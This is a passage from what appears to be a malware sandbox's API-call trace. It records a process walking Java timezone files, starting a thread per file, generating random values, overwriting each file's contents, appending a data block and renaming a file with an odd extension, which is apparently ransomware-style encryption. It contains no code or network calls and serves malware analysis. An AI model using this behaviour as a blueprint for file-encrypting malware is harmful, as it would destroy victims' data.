(x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.354] wcscat (in: _Dest=0x426ee800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.354] wcscat (in: _Dest=0x426ee800, _Source="Volgograd" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Volgograd") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Volgograd" [0158.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ee800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcac [0158.355] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Warsaw", cAlternateFileName="")) returned 1 [0158.355] wcscmp (_String1="Warsaw", _String2=".") returned 1 [0158.355] wcscmp (_String1="Warsaw", _String2="..") returned 1 [0158.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x426ee880 [0158.355] wcscpy (in: _Dest=0x426ee880, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.355] wcscat (in: _Dest=0x426ee880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.355] wcscat (in: _Dest=0x426ee880, _Source="Warsaw" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Warsaw") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Warsaw" [0158.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ee880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf8 [0158.356] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zaporozhye", cAlternateFileName="ZAPORO~1")) returned 1 [0158.356] wcscmp (_String1="Zaporozhye", _String2=".") returned 1 [0158.356] wcscmp (_String1="Zaporozhye", _String2="..") returned 1 [0158.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x426ee900 [0158.356] wcscpy (in: _Dest=0x426ee900, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.356] wcscat (in: _Dest=0x426ee900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.356] wcscat (in: _Dest=0x426ee900, _Source="Zaporozhye" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zaporozhye") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zaporozhye" [0158.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ee900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca4 [0158.357] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zurich", cAlternateFileName="")) returned 1 [0158.357] wcscmp (_String1="Zurich", _String2=".") returned 1 [0158.357] wcscmp (_String1="Zurich", _String2="..") returned 1 [0158.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x426ee980 [0158.357] wcscpy (in: _Dest=0x426ee980, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.357] wcscat (in: _Dest=0x426ee980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.358] wcscat (in: _Dest=0x426ee980, _Source="Zurich" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zurich") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zurich" [0158.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ee980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbfc [0158.358] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zurich", cAlternateFileName="")) returned 0 [0158.358] FindClose (in: hFindFile=0x1cd9dd90 | out: hFindFile=0x1cd9dd90) returned 1 [0158.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0158.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8bb0) returned 1 [0158.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86f050) returned 1 Thread: id = 2461 os_tid = 0x1ee8 [0153.997] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\gmt")) returned 0x20 [0154.009] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT", dwFileAttributes=0x20) returned 1 [0154.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\gmt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1368 [0154.011] GetFileSizeEx (in: hFile=0x1368, lpFileSize=0x2aebfe00 | out: lpFileSize=0x2aebfe00*=27) returned 1 [0154.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d50 [0154.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8de0 [0154.013] NtQuerySystemTime (in: CurrentTime=0x2aebfcc0 | out: CurrentTime=0x2aebfcc0*=132462177591430000) returned 0x0 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x671186cd [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x1b030142 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x121b1975 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x4180d81b [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x494e0e21 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x1dbe76de [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x69c99b37 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x181fbcfd [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x451ee361 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x6186a85a [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x31f3715b [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x54011770 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x77fcb402 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0xa7681c9 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x4071f5fc [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x67b6359 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x702015d3 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x485db490 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x3c546460 [0154.013] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x3dfc467a [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x103b578f [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x2997bfd [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0xfd315d7 [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x4210f0fb [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x4c516b83 [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x455d3876 [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x2fb71330 [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x679334e7 [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x13a659e3 [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x241643ab [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x1f72076e [0154.014] RtlRandomEx (in: Seed=0x2aebfcb0 | out: Seed=0x2aebfcb0) returned 0x1e4dadcb [0154.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8e10 [0154.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0154.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8e40 [0154.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0154.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8de0) returned 1 [0154.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1840 [0154.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0154.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427709e0 [0154.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427745f0 [0154.028] ReadFile (in: hFile=0x1368, lpBuffer=0x427709e0, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2aebfcb0, lpOverlapped=0x0 | out: lpBuffer=0x427709e0*, lpNumberOfBytesRead=0x2aebfcb0*=0x1b, lpOverlapped=0x0) returned 1 [0154.030] SetFilePointerEx (in: hFile=0x1368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.030] WriteFile (in: hFile=0x1368, lpBuffer=0x427745f0*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x2aebfcb4, lpOverlapped=0x0 | out: lpBuffer=0x427745f0*, lpNumberOfBytesWritten=0x2aebfcb4*=0x1b, lpOverlapped=0x0) returned 1 [0161.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6590 [0161.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a65c0 [0161.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a65c0) returned 1 [0161.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427745f0) returned 1 [0161.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427709e0) returned 1 [0161.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0161.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1840) returned 1 [0161.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d040 [0161.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1840 [0161.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0161.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a65c0 [0161.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a65c0) returned 1 [0161.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d060 [0161.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a65c0 [0161.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a65f0 [0161.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a65f0) returned 1 [0161.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0161.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1840) returned 1 [0161.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf8) returned 0x1b78e280 [0161.927] SetFilePointerEx (in: hFile=0x1368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.927] WriteFile (in: hFile=0x1368, lpBuffer=0x1b78e280*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2aebfdd0, lpOverlapped=0x0 | out: lpBuffer=0x1b78e280*, lpNumberOfBytesWritten=0x2aebfdd0*=0xf8, lpOverlapped=0x0) returned 1 [0163.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d60 [0163.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d60) returned 1 [0163.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0163.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d60 [0163.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d30 [0163.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d30) returned 1 [0163.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd) returned 0x1b82cfe0 [0163.862] sprintf (in: _Dest=0x1b82cfe0, _Format="%c%c" | out: _Dest="40") returned 2 [0163.862] sprintf (in: _Dest=0x1b82cfe2, _Format="%c%c" | out: _Dest="da") returned 2 [0163.862] sprintf (in: _Dest=0x1b82cfe4, _Format="%c%c" | out: _Dest="02") returned 2 [0163.862] sprintf (in: _Dest=0x1b82cfe6, _Format="%c%c" | out: _Dest="6d") returned 2 [0163.862] sprintf (in: _Dest=0x1b82cfe8, _Format="%c%c" | out: _Dest="72") returned 2 [0163.862] sprintf (in: _Dest=0x1b82cfea, _Format="%c%c" | out: _Dest="5b") returned 2 [0163.862] RtlInitAnsiString (in: DestinationString=0x2aebfe48, SourceString="40da026d725b" | out: DestinationString="40da026d725b") [0163.862] RtlAnsiStringToUnicodeString (in: DestinationString=0x2aebfe18, SourceString="40da026d725b", AllocateDestinationString=1 | out: DestinationString="40da026d725b") returned 0x0 [0163.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x422f3c70 [0163.862] RtlFreeAnsiString (AnsiString="4") [0163.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0163.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0163.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d60) returned 1 [0163.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e280) returned 1 [0163.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d060) returned 1 [0163.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a65c0) returned 1 [0163.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d040) returned 1 [0163.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6590) returned 1 [0163.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d50) returned 1 [0163.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e10) returned 1 [0163.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e40) returned 1 [0163.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b8580c0 [0163.865] wcscat (in: _Dest=0x1b8580c0, _Source="40d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\40d") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\40d" [0163.865] wcscat (in: _Dest=0x1b8580c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\40d.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\40d.2f9b60" [0163.865] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\40d.2f9b60", NtPathName=0x2aebfdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\40d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x42c225a0 [0244.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c225a0) returned 1 [0244.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230ce40) returned 1 [0244.020] NtQueryInformationFile (in: FileHandle=0x1368, IoStatusBlock=0x2aebfe58, FileInformation=0x2aebfe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2aebfe58, FileInformation=0x2aebfe68) returned 0x0 [0244.020] NtSetInformationFile (FileHandle=0x1368, IoStatusBlock=0x2aebfe58, FileInformation=0x2aebfe68, Length=0x28, FileInformationClass=0x4) Thread: id = 2462 os_tid = 0x1eec [0154.103] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\hst")) returned 0x20 [0154.103] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST", dwFileAttributes=0x20) returned 1 [0154.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\hst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1364 [0154.104] GetFileSizeEx (in: hFile=0x1364, lpFileSize=0x2b07f900 | out: lpFileSize=0x2b07f900*=27) returned 1 [0154.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9020 [0154.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd90b0 [0154.105] NtQuerySystemTime (in: CurrentTime=0x2b07f7c0 | out: CurrentTime=0x2b07f7c0*=132462177592366000) returned 0x0 [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x26091cf1 [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x250e753f [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x4cb8c6ce [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x5f6c5fef [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x38eeb624 [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x6fb0da8b [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x41988efd [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x29201780 [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x2371fda9 [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x6e28625 [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x5e6338b1 [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x30c59b04 [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x68b28e56 [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x656c43f2 [0154.105] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x428b89be [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x12de3d16 [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0xe30f50e [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x78875e05 [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x3817347f [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x1894586f [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x6aee910 [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0xc375555 [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x5ea6cf8f [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x11b069d2 [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x130fb35a [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x3c1a819 [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x5d1e6414 [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x3a230b7f [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x4118c3a9 [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x34af01e7 [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x35e773e8 [0154.106] RtlRandomEx (in: Seed=0x2b07f7b0 | out: Seed=0x2b07f7b0) returned 0x525bbc4 [0154.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd90e0 [0154.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0154.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9110 [0154.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0154.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd90b0) returned 1 [0154.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced19d0 [0154.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0154.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42796280 [0154.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42799e90 [0154.118] ReadFile (in: hFile=0x1364, lpBuffer=0x42796280, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2b07f7b0, lpOverlapped=0x0 | out: lpBuffer=0x42796280*, lpNumberOfBytesRead=0x2b07f7b0*=0x1b, lpOverlapped=0x0) returned 1 [0154.119] SetFilePointerEx (in: hFile=0x1364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.119] WriteFile (in: hFile=0x1364, 